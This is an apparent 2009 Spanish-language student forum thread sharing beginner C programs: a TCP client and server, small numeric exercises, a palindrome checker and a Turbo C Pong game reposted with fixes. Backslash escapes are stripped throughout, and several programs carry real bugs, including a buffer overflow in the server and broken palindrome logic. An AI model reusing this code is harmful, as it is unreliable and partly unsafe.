buf[numbytes] = ''; // Se le coloca el Terminador de cadenas al final del "BUFfer"
printf("Se recibieron %d Bytesn",strlen(buf));
printf("Recibido: %sn",buf); // Imprime en la pantalla del cliente lo que se recibio desde el server
printf("Se recibieron %d Bytesn",strlen(buf));
close(sockfd); // Cierra el socket

return 0; // Retorna 0 como resultado del programa (funcion main())
}




Código Servidor:



/*
** Servidor TCP
*/

// Librerias a usar...

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>

#define MYPORT 4000 // Puerto al que conectarán los usuarios
#define BACKLOG 10 // Cuántas conexiones pendientes se mantienen en cola

//Funcion para elimiar procesos muertos ?
void sigchld_handler(int s)
{
while(wait(NULL) > 0);
}

//Funciona que permite enviar datos que superen el tamaño de la MTU de TCP
int sendall(int new_fd, char *buf, int *len)
{
int total = 0; // cuántos bytes hemos enviado
int bytesleft = *len; // cuántos se han quedado pendientes
int n;
//pregunto si el total sigue siendo menor que la longitud del mensaje, entonces sigo recibiendo
while(total < *len) {
n = send(new_fd, buf+total, bytesleft, 0);
if (n == -1) { break; }
total += n;
bytesleft -= n;
}

*len = total; // devuelve aquí la cantidad enviada en realidad

return n==-1?-1:0; // devuelve -1 si hay fallo, 0 en otro caso
}
//Funcion que ejecuta el menu (No lo muestra, ya que lo desplegamos en el cliente)
int menu(int new_fd)
{
char op[255],mensaje[10240];
int c;
//Recibo La opcion elejida en el cliente
if((recv(new_fd, op, 255, 0)) == -1)
{
perror ("recv"); // Se RECIBEN datos? Si hay error, sale y despliega el error
exit (1);
}
/*
Utilizo la funcion atoi() para transformar
el op (que se recibe como cadena en un numero,
ya que el switch no admite caracteres para sus opciones
*/
int op2=atoi(op);
int len;
//Ahora envio la cantidad requerida segun la opcion
switch(op2){
case 1:
for(c=0;c<1;c++)
mensaje[c]='a';
send(new_fd, mensaje, 1,0);
break;
case 2:

for(c=0;c<8;c++)
mensaje[c]='a';
send(new_fd, mensaje, 8,0);

break;
case 3:
for(c=0;c<16;c++)
mensaje[c]='a';
send(new_fd, mensaje, 16,0);
break;
case 4:
for(c=0;c<64;c++)
mensaje[c]='a';
send(new_fd, mensaje, 64,0);
break;
case 5:
for(c=0;c<128;c++)
mensaje[c]='a';
send(new_fd, mensaje, 128,0);
break;
case 6:
for(c=0;c<512;c++)
mensaje[c]='a';
send(new_fd, mensaje, 512,0);
break;
/*
En los Casos 7,8 y 9, debo enviar los paquetes por trozos,
asi que para ésto utilizo la funcino sendall() definida anteriormente
enviandole el socket, el mensaje y la longitud de éste, para que
lo procese
*/
case 7:
for(c=0;c<1024;c++)
mensaje[c]='a';
len = strlen(mensaje);
if (sendall(new_fd, mensaje, &len) == -1)
{
perror("sendall");
printf("We only sent %d bytes because of the error!n", len);
}
break;
case 8:
for(c=0;c<2048;c++)
mensaje[c]='a';
len = strlen(mensaje);
if (sendall(new_fd, mensaje, &len) == -1)
{
perror("sendall");
printf("We only sent %d bytes because of the error!n", len);
}
break;
case 9:
for(c=0;c<10241;c++)
mensaje[c]='a';
len = strlen(mensaje);
if (sendall(new_fd, mensaje, &len) == -1)
{
perror("sendall");
printf("We only sent %d bytes because of the error!n", len);
}
break;
//Si la opcion elejida no era ninguna de las definidas, envia un mensaje de error (en el servidor)
default:
printf("Error de Opcionn");
break;


}
printf("Eligio la opcion %sn",op); //Imprimo la Opcion elejida por el usuario
return(1); //Devuelvo 1 para saber que no hubieron errores
}
int main(void)
{
//Envio un mensaje en patalla ( Solo Adorno )
system("clear");
system("echo ----------------------n");
system("echo //// Servidor TCP ////n");
system("echo ----------------------n");
int sockfd, new_fd; // Escuchar sobre sock_fd, nuevas conexiones sobre new_fd
struct sockaddr_in mi_dire; // informacion sobre mi direccion (server)
struct sockaddr_in otras_dire; // informacion sobre la direccion de los clientes
int sin_size;
struct sigaction sa;
struct timeval tiempo_i, tiempo_f; // Estructuras para calcular el tiempo
int yes=1; // SI=1 NO=0
int op;

//Creo el Socket con sus caracteristicas
if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1 )
{
perror ("socket"); // Se puede abrir el SOCKET? Si hay error, sale y despliega el error
exit (1);
}
//Selecciono algunas opciones para el Socket
if ( setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(int)) == -1)
{
perror ("setsockopt"); // Se pueden CAMBIAR opciones del socket? Si hay error, sale y despliega el error
exit (1);
}

//Indico las caracteristicas de la estructura
mi_dire.sin_family = AF_INET; // Indica que se usara Familia de Direcciones de Internet
mi_dire.sin_port = htons(MYPORT); // Ordenación de bytes de la red
mi_dire.sin_addr.s_addr = INADDR_ANY; // Se recibe cualquier IP
memset(&(mi_dire.sin_zero), '', 8); // Poner a cero el resto de la estructura = relleno

//Obtengo el puerto a utilizar para establecer la comunicacion
if ( bind(sockfd, (struct sockaddr *)&mi_dire, sizeof(struct sockaddr)) == -1)
{
perror ("bind"); // Puede OBTENER el puerto? Si hay error, sale y despliega el error
exit (1);
}
//Escucho esperando una peticion
if ( listen(sockfd, BACKLOG) == -1 )
{
perror ("listen"); // ESCUCHA en el puerto? Si hay error, sale y despliega el error
exit (1);
}
// Elimina procesos muertos o zombies (Procesos Hijos)
sa.sa_handler = sigchld_handler; // Elimina procesos muertos o zombies (Procesos Hijos)
sigemptyset (&sa.sa_mask);
sa.sa_flags = SA_RESTART;

if ( sigaction(SIGCHLD, &sa, NULL) == -1 )
{
perror ("sigaction"); // Puedo CAMBIAR la accion de un proceso? Si hay error, sale y despliega el error
exit (1);
}

while(1)
{ // Loop principal accept() = Ciclo "infinito"
sin_size = sizeof(struct sockaddr_in);
//Acepto las conexiones en el socket indicado
if ( (new_fd = accept(sockfd, (struct sockaddr *)&otras_dire, &sin_size)) == -1)
{
perror ("accept"); // Puede ACEPTAR nueva conexion? Si hay error, sale y despliega el error
continue;
}
printf("Servidor: Se toma coneccion desde %sn", inet_ntoa(otras_dire.sin_addr)); // Mensaje en el Server
if (!fork()) // No se crea proceso hijo?
{
close(sockfd); // El hijo no necesita este descriptor, original
gettimeofday (&tiempo_i, 0); // Obtiene tiempo inicial
if(menu(new_fd) == -1 )
perror ("send"); // Puede ENVIAR? Si hay error, sale y despliega el error
close(new_fd); // Cierra el nuevo socket
gettimeofday (&tiempo_f, 0); // Obtiene tiempo final
printf("Se demoro %ld microsegnn", tiempo_f.tv_usec - tiempo_i.tv_usec); // Imprime tiempo en recibir o enviar
exit(0);
}
close(new_fd); // El proceso padre no necesita
} return 0; // Retorna 0 como resultado del programa (main())
}




Ojala les sirva (Y)::portalnet::

PD: Si lo compilas en windows no funcionará,ya que windows no incluye sockets (puedes integrarlos,pero aun asi no funcionará), debe ser compilado en un sistema UNIX.

PD2: La base del codigo fue propuesta por el profesor, los cambios efectuados fueron mios :)

FxckDead
14/05/2009, 19:37
muestra si dos numeros son amigos o no xD
son amigos =P
mi primer super programa xDDDDDDDD

#include<stdio.h>
main()
{
int n1,n2,sum1=0,sum2=0,i=1,p=1;
printf("ingrese numero 1:n");
scanf("%d",&n1);
printf("ingrese numero 2:n");
scanf("%d",&n2);
while(i<n1)
{
if(n1%i==0)
{
sum1=sum1+i;
}
i++;
}
while(p<n2)
{
if(n2%p==0)
{
sum2=sum2+p;
}
p++;
}

if(sum1==n2 && sum2==n1)
{
printf("son amigosn");
}
else
{
printf(" no son amigosn");
}
system("pause");
return 0;
}

jaja no entender lo de si son amigos o no xdd...pero es como lindo xD


a ver improvisare algo sencillo ya que no toy con mis programas y tengo paja xD


#include<stdio.h>

int n;

main ()
{
printf( " ingrese la edad de la persona");
scanf(%d, &n)
while ( n<=0 || n>=100)
{
printf("la edad que ha ingresado es menor igual 0 o mayor a 100, son valores no validos, por favor ingrese otra edad");
}
if ( n>= 18)
{
printf (" la edad ingresada corresponde a una persona mayor de edad");
}
else
{
printf ("la edad ingresada corresponde a una persona menor de edad ");
}

getchar(); getchar();

}




:P demas que caxan que hace daaaa xD!!:loca:

*.* Me enamoree !

Fab0
14/05/2009, 20:37
aka un aporte.. calcula el numero mayor en un intervalo dado..
#include <cstdlib>
#include <iostream>
#include <stdio.h>

int main()
{
int i,num,mayor,f,k;
mayor=-10000;
printf("\n \n Mostrar n numeros entre 27 y 68 para encontrar el mayor de ellos.\n\nBy Fab0!\n");
system("pause");
system("cls");
printf("ingrese numero de terminos\n");
scanf("%i",&k);
for(i=1;i<=k;i++)
{
do{
printf("\n\n\nIngrese el numero %d de %i",i,k);

printf("\n el numero? : ");
scanf("%d",&f);
}while(f<27||f>68); /* aqui va el rango de numeros, en este caso, entre 27 y 68*/
if(f > mayor)
{
mayor = f;
}
system("cls");
}
printf("\n\n\n El numero mayor ingresado es %d \n\n\n",mayor);
system("pause");
}

potingano
15/05/2009, 03:18
ya cauros... este es el juego "pong" claramente una version mas xanta pero weno... es lo ke hay... si ta muy penca pta no se enojen tanto ya ke me esmere en hacerlo... lo hice con lo ke sabia hasta en ese entonces.. xDDD

agradescanlo por ultimo ¬¬ jejeje xdd


#include<conio.h>
#include<stdio.h>
#include<graphics.h>
#include<dos.h>
#include<stdlib.h>

void marcador(int jug,int mar)//imprime el marcador
{
int mar1,mar2;
setcolor(YELLOW);
if(jug==1)
{
circle(mar,440,5);
delay(1000);
}
if(jug==2)
{
circle(mar,440,5);
delay(1000);
}
}

void salida()
{
int i=1,p=480;
outtextxy(50,230,"HECHO POR MI (^_^) ");


while(i<200)
{
setcolor(GREEN);
line(1,i,640,i);
delay(20);
i++;
setcolor(GREEN);
line(1,p,640,p);
p--;
}

delay(3000);
exit(1);
}

void goma(int n,int m)//funcion borra jugada derecha
{
setcolor(BLACK);
rectangle(3,n,5,m);
}

void del(int a,int b)//funcion borra jugada izqda
{
setcolor(BLACK);
rectangle(635,a,637,b);
}

void main()
{
int gdriver = DETECT, gmode,n=220,m=260,k,a=220,b=260,r=3;
int tope=1,l=240,mov=1,signo=1,i=1,salir,c1=0,c2=0,p,j ug,mar1=11,mar2=629;
initgraph (&gdriver,&gmode,"");

stdout;
randomize();
setcolor(LIGHTGREEN);
outtextxy(210,100, "..:::BIENVENIDOS Al PONG:::..");
outtextxy(130,130, "PRIMER JUGADOR << W=SUBIR >> << Z=BAJAR >>");
outtextxy(110,140, "SEGUNDO JUGADOR << FLECHA ARRIBA >> << FLECHA ABAJO >>");
setcolor(BLUE);
outtextxy(60,160, "EL JUEGO TERMINA CUANDO UNO DE LOS DOS JUGADORES HAGA TRECE PUNTOS");
setcolor(YELLOW);
outtextxy(130,340,"PARA JUGAR PULSE <<ENTER>>");
setcolor(RED);
outtextxy(130,350,"PARA SALIR PULSE <<ESC>>");

salir=getch();
if(salir==27)
salida();



while(i<480)//linea ke borra el menu
{
setcolor(GREEN);
line(1,i,640,i);
delay(3);
setcolor(BLACK);
line(1,i,640,i);
i++;
}

setcolor(GREEN); //impresion de la cancha
line(1,30,640,30);
line(1,431,640,431);
setcolor(YELLOW);
line(1,31,640,31);
line(1,430,640,430);
setcolor(GREEN);
outtextxy(270,20,"..::PONG::..");
setcolor(LIGHTCYAN);
outtextxy(70,470,"PARA SALIR PULSE <<ESC>> PARA PAUSAR PULSA <<ENTER>>");


while(c1!=13 && c2!=13)
{
setcolor(GREEN);
line(321,30,321,430);
line(319,30,319,430);


setcolor(BLUE);
rectangle(3,n,5,m);
setcolor(RED);
rectangle(635,a,637,b);

if(kbhit())
{
k=getch();

switch(k)
{
case 27:
salida();
break;

case 119:
if(n>=36)
{
goma(n,m);
n=n-6;
m=m-6;
}
break;

case 122:
if(m<=424)
{
goma(n,m);
n=n+6;
m=m+6;
}
break;

case 72:
if(a>=36)
{
del(a,b);
a=a-6;
b=b-6;
}
break;

case 80:
if(b<=424)
{
del(a,b);
a=a+6;
b=b+6;
}
break;

case 13: //EL CASE 13 IMPRIME EL TEXTO DE PAUSA
setcolor(GREEN);
outtextxy(100,240,"..::PAUSA::.. PULSA CUALQUIER TECLA PARA CONTINUAR (=';'=)");
getch();
setcolor(BLACK);
outtextxy(100,240,"..::PAUSA::.. PULSA CUALQUIER TECLA PARA CONTINUAR (=';'=)");
break;

}//llave cierre del switch
}//llave cierre del if kbhit



if(tope==1&&signo==1)
{
setcolor(YELLOW);
circle(r,l,5);
delay(4);
setcolor(BLACK);
circle(r,l,5);
r++;
if(r%10==0)
l=l+mov;
}
if(tope==1&&signo==2)
{
setcolor(YELLOW);
circle(r,l,5);
delay(4);
setcolor(BLACK);
circle(r,l,5);
r++;
if(r%10==0)
l=l-mov;
}

if(tope==2&&signo==1)
{
setcolor(YELLOW);
circle(r,l,5);
delay(4);
setcolor(BLACK);
circle(r,l,5);
r--;
if(r%10==0)
l=l+mov;
}

if(tope==2&&signo==2)
{
setcolor(YELLOW);
circle(r,l,5);
delay(4);
setcolor(BLACK);
circle(r,l,5);
r--;
if(r%10==0)
l=l-mov;
}

if(r==630 && (l>a && l<b))
{
tope=2;
mov=rand()%3+1;
signo=rand()%2+1;
}

if(r==8 && (l>n && l<m))
{
tope=1;
mov=rand()%3+1;
signo=rand()%2+1;
}

if(l>=420)
signo=2;

if(l<=40)
signo=1;

if(r==630 && (l<a || l>b))
{
c1=c1+1;
r=320;
tope=1;
mar1=mar1+13;
marcador(tope,mar1);
}

if(r==8 && (l<n || l>m))
{
c2=c2+1;
r=320;
tope=2;
mar2=mar2-13;
marcador(tope,mar2);
}

}//llave cierre del while 1=1

main();

}//llave cierre del main

_nyuu_
16/05/2009, 22:37
jaja no entender lo de si son amigos o no xdd...pero es como lindo xD



*.* Me enamoree !

xD!!!!!! :B en el scanf me falto las comillas xD


ya cauros... este es el juego "pong" claramente una version mas xanta pero weno... es lo ke hay... si ta muy penca pta no se enojen tanto ya ke me esmere en hacerlo... lo hice con lo ke sabia hasta en ese entonces.. xDDD

agradescanlo por ultimo ¬¬ jejeje xdd


#include<conio.h>
#include<stdio.h>
#include<graphics.h>
#include<dos.h>
#include<stdlib.h>

void marcador(int jug,int mar)//imprime el marcador
{
int mar1,mar2;
setcolor(YELLOW);
if(jug==1)
{
circle(mar,440,5);
delay(1000);
}
if(jug==2)
{
circle(mar,440,5);
delay(1000);
}
}

void salida()
{
int i=1,p=480;
outtextxy(50,230,"HECHO POR MI (^_^) ");


while(i<200)
{
setcolor(GREEN);
line(1,i,640,i);
delay(20);
i++;
setcolor(GREEN);
line(1,p,640,p);
p--;
}

delay(3000);
exit(1);
}

void goma(int n,int m)//funcion borra jugada derecha
{
setcolor(BLACK);
rectangle(3,n,5,m);
}

void del(int a,int b)//funcion borra jugada izqda
{
setcolor(BLACK);
rectangle(635,a,637,b);
}

void main()
{
int gdriver = DETECT, gmode,n=220,m=260,k,a=220,b=260,r=3;
int tope=1,l=240,mov=1,signo=1,i=1,salir,c1=0,c2=0,p,j ug,mar1=11,mar2=629;
initgraph (&gdriver,&gmode,"");

stdout;
randomize();
setcolor(LIGHTGREEN);
outtextxy(210,100, "..:::BIENVENIDOS Al PONG:::..");
outtextxy(130,130, "PRIMER JUGADOR << W=SUBIR >> << Z=BAJAR >>");
outtextxy(110,140, "SEGUNDO JUGADOR << FLECHA ARRIBA >> << FLECHA ABAJO >>");
setcolor(BLUE);
outtextxy(60,160, "EL JUEGO TERMINA CUANDO UNO DE LOS DOS JUGADORES HAGA TRECE PUNTOS");
setcolor(YELLOW);
outtextxy(130,340,"PARA JUGAR PULSE <<ENTER>>");
setcolor(RED);
outtextxy(130,350,"PARA SALIR PULSE <<ESC>>");

salir=getch();
if(salir==27)
salida();



while(i<480)//linea ke borra el menu
{
setcolor(GREEN);
line(1,i,640,i);
delay(3);
setcolor(BLACK);
line(1,i,640,i);
i++;
}

setcolor(GREEN); //impresion de la cancha
line(1,30,640,30);
line(1,431,640,431);
setcolor(YELLOW);
line(1,31,640,31);
line(1,430,640,430);
setcolor(GREEN);
outtextxy(270,20,"..::PONG::..");
setcolor(LIGHTCYAN);
outtextxy(70,470,"PARA SALIR PULSE <<ESC>> PARA PAUSAR PULSA <<ENTER>>");


while(c1!=13 && c2!=13)
{
setcolor(GREEN);
line(321,30,321,430);
line(319,30,319,430);


setcolor(BLUE);
rectangle(3,n,5,m);
setcolor(RED);
rectangle(635,a,637,b);

if(kbhit())
{
k=getch();

switch(k)
{
case 27:
salida();
break;

case 119:
if(n>=36)
{
goma(n,m);
n=n-6;
m=m-6;
}
break;

case 122:
if(m<=424)
{
goma(n,m);
n=n+6;
m=m+6;
}
break;

case 72:
if(a>=36)
{
del(a,b);
a=a-6;
b=b-6;
}
break;

case 80:
if(b<=424)
{
del(a,b);
a=a+6;
b=b+6;
}
break;

case 13: //EL CASE 13 IMPRIME EL TEXTO DE PAUSA
setcolor(GREEN);
outtextxy(100,240,"..::PAUSA::.. PULSA CUALQUIER TECLA PARA CONTINUAR (=';'=)");
getch();
setcolor(BLACK);
outtextxy(100,240,"..::PAUSA::.. PULSA CUALQUIER TECLA PARA CONTINUAR (=';'=)");
break;

}//llave cierre del switch
}//llave cierre del if kbhit



if(tope==1&&signo==1)
{
setcolor(YELLOW);
circle(r,l,5);
delay(4);
setcolor(BLACK);
circle(r,l,5);
r++;
if(r%10==0)
l=l+mov;
}
if(tope==1&&signo==2)
{
setcolor(YELLOW);
circle(r,l,5);
delay(4);
setcolor(BLACK);
circle(r,l,5);
r++;
if(r%10==0)
l=l-mov;
}

if(tope==2&&signo==1)
{
setcolor(YELLOW);
circle(r,l,5);
delay(4);
setcolor(BLACK);
circle(r,l,5);
r--;
if(r%10==0)
l=l+mov;
}

if(tope==2&&signo==2)
{
setcolor(YELLOW);
circle(r,l,5);
delay(4);
setcolor(BLACK);
circle(r,l,5);
r--;
if(r%10==0)
l=l-mov;
}

if(r==630 && (l>a && l<b))
{
tope=2;
mov=rand()%3+1;
signo=rand()%2+1;
}

if(r==8 && (l>n && l<m))
{
tope=1;
mov=rand()%3+1;
signo=rand()%2+1;
}

if(l>=420)
signo=2;

if(l<=40)
signo=1;

if(r==630 && (l<a || l>b))
{
c1=c1+1;
r=320;
tope=1;
mar1=mar1+13;
marcador(tope,mar1);
}

if(r==8 && (l<n || l>m))
{
c2=c2+1;
r=320;
tope=2;
mar2=mar2-13;
marcador(tope,mar2);
}

}//llave cierre del while 1=1

main();

}//llave cierre del main


xD compilare tu programa xD

FxckDead
17/05/2009, 02:11
xD!!!!!! :B en el scanf me falto las comillas xD



xD compilare tu programa xD
sii yo no lo decia por el codigo :$

Para compilar el programa del loco si usay TurboC tienes que activar laslibrerias graficas en las opciones, pero preguntame en qe parte era xD...la cosa es qe buska, y en una parte sale qe tienes qe activarlas :) ( por si no lo sabia alguien) ...me acuerdo qe yo hise quien qiere ser millonario xD en TurboC con las librerias graficas :) y le puse sonido y volas, nunca lo terminè ! xD...

ap85
17/05/2009, 02:27
aca un programa que sirve para contar billetes y/o monedas:


#include<stdio.h>

void llenar_contador(int c[]){
int i;

for(i=0;i<11;i++){
c[i] = 0;
}
}
void mostrar_billetes(int m[], int c[]){

int i,suma=0;

for(i=0;i<11;i++){
if (c[i]>0){
printf("nse necesitan %d monedas/billetes de %d pesos",c[i],m[i]);
suma = suma + (c[i])*(m[i]);
printf("nacumulado: %dn",suma);
}
}
printf("ntotal: %dn",suma);
}
main(){
int dinero,i;

int monedas[] = {1,5,10,50,100,500,1000,2000,5000,10000,20000};
int contador[11];

printf("ingrese dinero: ");scanf("%d",&dinero);

llenar_contador(contador);

for(i=10;i>=0;i--){
if(dinero>=monedas[i]){
contador[i] = dinero/monedas[i];
}
dinero = dinero%(monedas[i]);
}

mostrar_billetes(monedas,contador);
printf("n");
system("pause");
}

indica si una frase o palabra es palindrome:


#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#define N 50

void eliminarEspacios(char f[], char s[]){
int i,j=0;
for(i=0;i<strlen(f);i++){
if(f[i]!=' '){
s[j] = f[i];
j++;
}
}
s[j] = '';
}

int palindrome(char s[]){
int i,m,j;

m = strlen(s)/2;
j = strlen(s)-1;

for(i=0;i<m;i++){
if(s[i]!=s[j]){
return 0;
}
j--;
return 1;
}
}

main(){

char frase[N], sinEspacios[N];
int i;

printf("escriba la palabra o frase: ");gets(frase);

eliminarEspacios(frase,sinEspacios);

if(palindrome(sinEspacios))
printf("nes palindromen");
else
printf("nno es palindromen");

printf("n");
system("pause");
}

cantidad de primos en un rango (2 hacia...):


#include <stdio.h>

main() {

int i,limite;
int numero,flag=0 ,cont=0;

printf("Calcula y cuenta primos en un rango [2,limite]n");
printf("ingresar limite superior:");
scanf("%d",&limite);
for(numero=2; numero<=limite; numero++){
for(flag=0,i=numero/2;i>1;i--){ // determino si numero es primo
if(numero%i == 0)
flag=1;
}
if(flag==0){
printf("%d es primon",numero);
cont++;
}
}

printf("total del primos entre 2 y %d es %dn",limite,cont);
system("pause");
}

potingano
17/05/2009, 02:38
sii yo no lo decia por el codigo :$

Para compilar el programa del loco si usay TurboC tienes que activar laslibrerias graficas en las opciones, pero preguntame en qe parte era xD...la cosa es qe buska, y en una parte sale qe tienes qe activarlas :) ( por si no lo sabia alguien) ...me acuerdo qe yo hise quien qiere ser millonario xD en TurboC con las librerias graficas :) y le puse sonido y volas, nunca lo terminè ! xD...



ni io me acuerdo cmo era la wa... hay ke copiar un archivo de la carpeta "BGI" a la "BIN" del directorio del compilador y activar otra unas was en el mismo turbo C pero no me acuerdo ke mas... :S ajhajahjah no se si en otro compilador correra...


denme algun puntito de credibilidad por el empeño por ultimo... no tengo niuno =0(

FxckDead
17/05/2009, 17:53
ni io me acuerdo cmo era la wa... hay ke copiar un archivo de la carpeta "BGI" a la "BIN" del directorio del compilador y activar otra unas was en el mismo turbo C pero no me acuerdo ke mas... :S ajhajahjah no se si en otro compilador correra...


denme algun puntito de credibilidad por el empeño por ultimo... no tengo niuno =0(

Compare, no te dare puntito por desempeño por que el codigo no funciona ^^, tira 3 errores, ademas de estar mal declarado el tema de las BGI.. PERO te lo arreglé 77 de pura buena persona que soy :).


#include<conio.h>
#include<stdio.h>
#include<graphics.h>
#include<dos.h>
#include<stdlib.h>

void marcador(int jug,int mar)//imprime el marcador
{
int mar1,mar2;
setcolor(YELLOW);
if(jug==1)
{
circle(mar,440,5);
delay(1000);
}
if(jug==2)
{
circle(mar,440,5);
delay(1000);
}
}

void salida()
{
int i=1,p=480;
outtextxy(50,230,"HECHO POR MI (^_^) ");


while(i<200)
{
setcolor(GREEN);
line(1,i,640,i);
delay(20);
i++;
setcolor(GREEN);
line(1,p,640,p);
p--;
}

delay(3000);
exit(1);
}

void goma(int n,int m)//funcion borra jugada derecha
{
setcolor(BLACK);
rectangle(3,n,5,m);
}

void del(int a,int b)//funcion borra jugada izqda
{
setcolor(BLACK);
rectangle(635,a,637,b);
}

void main()
{
int gdriver = DETECT, gmode = DETECT,n=220,m=260,k,a=220,b=260,r=3;
int tope=1,l=240,mov=1,signo=1,i=1,salir,c1=0,c2=0,p,j ,ug,mar1=11,mar2=629;
initgraph (&gdriver,&gmode,"C:\TC\BGI\");

stdout;
randomize();
setcolor(LIGHTGREEN);
outtextxy(210,100, "..:::BIENVENIDOS Al PONG:::..");
outtextxy(130,130, "PRIMER JUGADOR << W=SUBIR >> << Z=BAJAR >>");
outtextxy(110,140, "SEGUNDO JUGADOR << FLECHA ARRIBA >> << FLECHA ABAJO >>");
setcolor(BLUE);
outtextxy(60,160, "EL JUEGO TERMINA CUANDO UNO DE LOS DOS JUGADORES HAGA TRECE PUNTOS");
setcolor(YELLOW);
outtextxy(130,340,"PARA JUGAR PULSE <<ENTER>>");
setcolor(RED);
outtextxy(130,350,"PARA SALIR PULSE <<ESC>>");

salir=getch();
if(salir==27)
salida();

while(i<480)//linea ke borra el menu
{
setcolor(GREEN);
line(1,i,640,i);
delay(3);
setcolor(BLACK);
line(1,i,640,i);
i++;
}

setcolor(GREEN); //impresion de la cancha
line(1,30,640,30);
line(1,431,640,431);
setcolor(YELLOW);
line(1,31,640,31);
line(1,430,640,430);
setcolor(GREEN);
outtextxy(270,20,"..::PONG::..");
setcolor(LIGHTCYAN);
outtextxy(70,470,"PARA SALIR PULSE <<ESC>> PARA PAUSAR PULSA <<ENTER>>");


while(c1!=13 && c2!=13)
{
setcolor(GREEN);
line(321,30,321,430);
line(319,30,319,430);


setcolor(BLUE);
rectangle(3,n,5,m);
setcolor(RED);
rectangle(635,a,637,b);

if(kbhit())
{
k=getch();

switch(k)
{
case 27:
salida();
break;

case 119:
if(n>=36)
{
goma(n,m);
n=n-6;
m=m-6;
}
break;

case 122:
if(m<=424)
{
goma(n,m);
n=n+6;
m=m+6;
}
break;

case 72:
if(a>=36)
{
del(a,b);
a=a-6;
b=b-6;
}
break;

case 80:
if(b<=424)
{
del(a,b);
a=a+6;
b=b+6;
}
break;

case 13: //EL CASE 13 IMPRIME EL TEXTO DE PAUSA
setcolor(GREEN);
outtextxy(100,240,"..::PAUSA::.. PULSA CUALQUIER TECLA PARA CONTINUAR (=';'=)");
getch();
setcolor(BLACK);
outtextxy(100,240,"..::PAUSA::.. PULSA CUALQUIER TECLA PARA CONTINUAR (=';'=)");
break;

}//llave cierre del switch
}//llave cierre del if kbhit



if(tope==1&&signo==1)
{
setcolor(YELLOW);
circle(r,l,5);
delay(4);
setcolor(BLACK);
circle(r,l,5);
r++;
if(r%10==0)
l=l+mov;
}
if(tope==1&&signo==2)
{
setcolor(YELLOW);
circle(r,l,5);
delay(4);
setcolor(BLACK);
circle(r,l,5);
r++;
if(r%10==0)
l=l-mov;
}

if(tope==2&&signo==1)
{
setcolor(YELLOW);
circle(r,l,5);
delay(4);
setcolor(BLACK);
circle(r,l,5);
r--;
if(r%10==0)
l=l+mov;
}

if(tope==2&&signo==2)
{
setcolor(YELLOW);
circle(r,l,5);
delay(4);
setcolor(BLACK);
circle(r,l,5);
r--;
if(r%10==0)
l=l-mov;
}

if(r==630 && (l>a && l<b))
{
tope=2;
mov=rand()%3+1;
signo=rand()%2+1;
}

if(r==8 && (l>n && l<m))
{
tope=1;
mov=rand()%3+1;
signo=rand()%2+1;
}

if(l>=420)
signo=2;

if(l<=40)
signo=1;

if(r==630 && (l<a || l>b))
{
c1=c1+1;
r=320;
tope=1;
mar1=mar1+13;
marcador(tope,mar1);
}

if(r==8 && (l<n || l>m))
{
c2=c2+1;
r=320;
tope=2;
mar2=mar2-13;
marcador(tope,mar2);
}

}//llave cierre del while 1=1

main();

}//llave cierre del main

Ademas de dejar orientado el codigo porqe asi todo plano no se entendia nada D: , oie y nunca supe como mover el player 1 ,xd deberia haberte hecho una funcion de ayuda por ultimo :P. y si alguien me quiere dar los puntos ami por arreglarlo se lo agradesco xD...

Mi SEgundo aporte referente a este tema :)
Hise un video de como instalar TC y ademas de como hacer correr las librerias graficas :P, sorry la calidad xd pero mi pc es un water y con suerte pude grabar xD...
El archivo contiene 2 videos, 1 de instalacion y otro de como poner las librerias graficas, y cuando compile el programa malo del socio potingano!.
Descomprimidos pesan como 40 Mb pero lo deje compirmido en 6 Mb D: .
Descargar Videos :) (http://www.mediafire.com/file/3j5tmoikemy/TurboC.rar)

Ya y les dejo el Turbo C por si no lo tienen iwal :) ( ando caritativo hoy ^^)

Descargar TC (http://www.mediafire.com/file/lixhnmmztjm/TC.rar)

potingano
18/05/2009, 03:01
Compare, no te dare puntito por desempeño por que el codigo no funciona ^^, tira 3 errores, ademas de estar mal declarado el tema de las BGI.. PERO te lo arreglé 77 de pura buena persona que soy :).


#include<conio.h>
#include<stdio.h>
#include<graphics.h>
#include<dos.h>
#include<stdlib.h>

void marcador(int jug,int mar)//imprime el marcador
{
int mar1,mar2;
setcolor(YELLOW);
if(jug==1)
{
circle(mar,440,5);
delay(1000);
}
if(jug==2)
{
circle(mar,440,5);
delay(1000);
}
}

void salida()
{
int i=1,p=480;
outtextxy(50,230,"HECHO POR MI (^_^) ");


while(i<200)
{
setcolor(GREEN);
line(1,i,640,i);
delay(20);
i++;
setcolor(GREEN);
line(1,p,640,p);
p--;
}

delay(3000);
exit(1);
}

void goma(int n,int m)//funcion borra jugada derecha
{
setcolor(BLACK);
rectangle(3,n,5,m);
}

void del(int a,int b)//funcion borra jugada izqda
{
setcolor(BLACK);
rectangle(635,a,637,b);
}

void main()
{
int gdriver = DETECT, gmode = DETECT,n=220,m=260,k,a=220,b=260,r=3;
int tope=1,l=240,mov=1,signo=1,i=1,salir,c1=0,c2=0,p,j ,ug,mar1=11,mar2=629;
initgraph (&gdriver,&gmode,"C:TCBGI");

stdout;
randomize();
setcolor(LIGHTGREEN);
outtextxy(210,100, "..:::BIENVENIDOS Al PONG:::..");
outtextxy(130,130, "PRIMER JUGADOR << W=SUBIR >> << Z=BAJAR >>");
outtextxy(110,140, "SEGUNDO JUGADOR << FLECHA ARRIBA >> << FLECHA ABAJO >>");
setcolor(BLUE);
outtextxy(60,160, "EL JUEGO TERMINA CUANDO UNO DE LOS DOS JUGADORES HAGA TRECE PUNTOS");
setcolor(YELLOW);
outtextxy(130,340,"PARA JUGAR PULSE <<ENTER>>");
setcolor(RED);
outtextxy(130,350,"PARA SALIR PULSE <<ESC>>");

salir=getch();
if(salir==27)
salida();

while(i<480)//linea ke borra el menu
{
setcolor(GREEN);
line(1,i,640,i);
delay(3);
setcolor(BLACK);
line(1,i,640,i);
i++;
}

setcolor(GREEN); //impresion de la cancha
line(1,30,640,30);
line(1,431,640,431);
setcolor(YELLOW);
line(1,31,640,31);
line(1,430,640,430);
setcolor(GREEN);
outtextxy(270,20,"..::PONG::..");
setcolor(LIGHTCYAN);
outtextxy(70,470,"PARA SALIR PULSE <<ESC>> PARA PAUSAR PULSA <<ENTER>>");


